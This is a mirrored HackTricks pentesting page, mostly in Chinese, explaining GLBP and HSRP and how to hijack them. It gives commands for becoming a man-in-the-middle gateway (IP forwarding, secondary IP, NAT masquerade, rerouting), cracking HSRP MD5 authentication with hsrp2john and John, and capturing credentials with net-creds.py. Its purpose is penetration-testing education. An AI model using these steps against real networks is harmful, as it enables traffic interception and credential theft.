mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
139 lines
6.5 KiB
Markdown
139 lines
6.5 KiB
Markdown
# GLBP & HSRP Attacks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## FHRP Hijacking Overview
|
||
|
||
### Insights into FHRP
|
||
|
||
FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性,从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。
|
||
|
||
### GLBP Protocol Insights
|
||
|
||
思科创建的GLBP在TCP/IP协议栈上运行,使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包,则被认为是离线的。然而,这些定时器并不是固定的,可以进行修改。
|
||
|
||
### GLBP Operations and Load Distribution
|
||
|
||
GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中,每个路由器都参与数据包转发。与HSRP/VRRP不同,GLBP通过多种机制提供真正的负载均衡:
|
||
|
||
- **Host-Dependent Load Balancing:** 为主机保持一致的AVF MAC地址分配,这对稳定的NAT配置至关重要。
|
||
- **Round-Robin Load Balancing:** 默认方法,在请求主机之间交替分配AVF MAC地址。
|
||
- **Weighted Round-Robin Load Balancing:** 根据预定义的“权重”指标分配负载。
|
||
|
||
### Key Components and Terminologies in GLBP
|
||
|
||
- **AVG (Active Virtual Gateway):** 主要路由器,负责将MAC地址分配给对等路由器。
|
||
- **AVF (Active Virtual Forwarder):** 指定管理网络流量的路由器。
|
||
- **GLBP Priority:** 决定AVG的指标,默认值为100,范围在1到255之间。
|
||
- **GLBP Weight:** 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。
|
||
- **GLBP Virtual IP Address:** 作为所有连接设备的网络默认网关。
|
||
|
||
对于交互,GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包,如果在10秒内错过一个数据包,则被视为非操作状态。
|
||
|
||
### GLBP Attack Mechanism
|
||
|
||
攻击者可以通过发送优先级值最高(255)的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击,从而允许流量拦截或重定向。
|
||
|
||
### Executing a GLBP Attack with Loki
|
||
|
||
[Loki](https://github.com/raizo62/loki_on_kali)可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。
|
||
|
||
攻击步骤:
|
||
|
||
1. 切换到混杂模式并启用IP转发。
|
||
2. 确定目标路由器并获取其IP。
|
||
3. 生成一个无偿ARP。
|
||
4. 注入一个恶意GLBP数据包,冒充AVG。
|
||
5. 为攻击者的网络接口分配一个次要IP地址,镜像GLBP虚拟IP。
|
||
6. 实施SNAT以实现完整的流量可见性。
|
||
7. 调整路由以确保通过原始AVG路由器继续访问互联网。
|
||
|
||
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
|
||
|
||
为了演示,以下是所需的命令片段:
|
||
```bash
|
||
# Enable promiscuous mode and IP forwarding
|
||
sudo ip link set eth0 promisc on
|
||
sudo sysctl -w net.ipv4.ip_forward=1
|
||
|
||
# Configure secondary IP and SNAT
|
||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||
|
||
# Adjust routing
|
||
sudo route del default
|
||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||
```
|
||
监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。
|
||
|
||
### HSRP 劫持的被动解释与命令细节
|
||
|
||
#### HSRP(热备份路由器/冗余协议)概述
|
||
|
||
HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同,HSRP 依赖于单个活动路由器进行流量管理。
|
||
|
||
#### HSRP 中的角色和术语
|
||
|
||
- **HSRP 活动路由器**:作为网关的设备,管理流量流动。
|
||
- **HSRP 备用路由器**:准备接管活动路由器故障时的备份路由器。
|
||
- **HSRP 组**:一组路由器协作形成一个单一的弹性虚拟路由器。
|
||
- **HSRP MAC 地址**:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
|
||
- **HSRP 虚拟 IP 地址**:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。
|
||
|
||
#### HSRP 版本
|
||
|
||
HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。
|
||
|
||
#### HSRP 攻击机制
|
||
|
||
HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人(MITM)攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。
|
||
|
||
#### 绕过 HSRP 身份验证的步骤
|
||
|
||
1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
|
||
```shell
|
||
tcpdump -w hsrp_traffic.pcap
|
||
```
|
||
2. 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。
|
||
```shell
|
||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||
```
|
||
3. 使用 John the Ripper 破解 MD5 哈希。
|
||
```shell
|
||
john --wordlist=mywordlist.txt hsrp_hashes
|
||
```
|
||
|
||
**使用 Loki 执行 HSRP 注入**
|
||
|
||
1. 启动 Loki 以识别 HSRP 广告。
|
||
2. 将网络接口设置为混杂模式并启用 IP 转发。
|
||
```shell
|
||
sudo ip link set eth0 promisc on
|
||
sudo sysctl -w net.ipv4.ip_forward=1
|
||
```
|
||
3. 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。
|
||
4. 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。
|
||
```shell
|
||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||
```
|
||
5. 修改路由表以通过前活动路由器路由流量。
|
||
```shell
|
||
sudo route del default
|
||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||
```
|
||
6. 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。
|
||
```shell
|
||
sudo python2 net-creds.py -i eth0
|
||
```
|
||
|
||
执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。
|
||
|
||
## 参考文献
|
||
|
||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|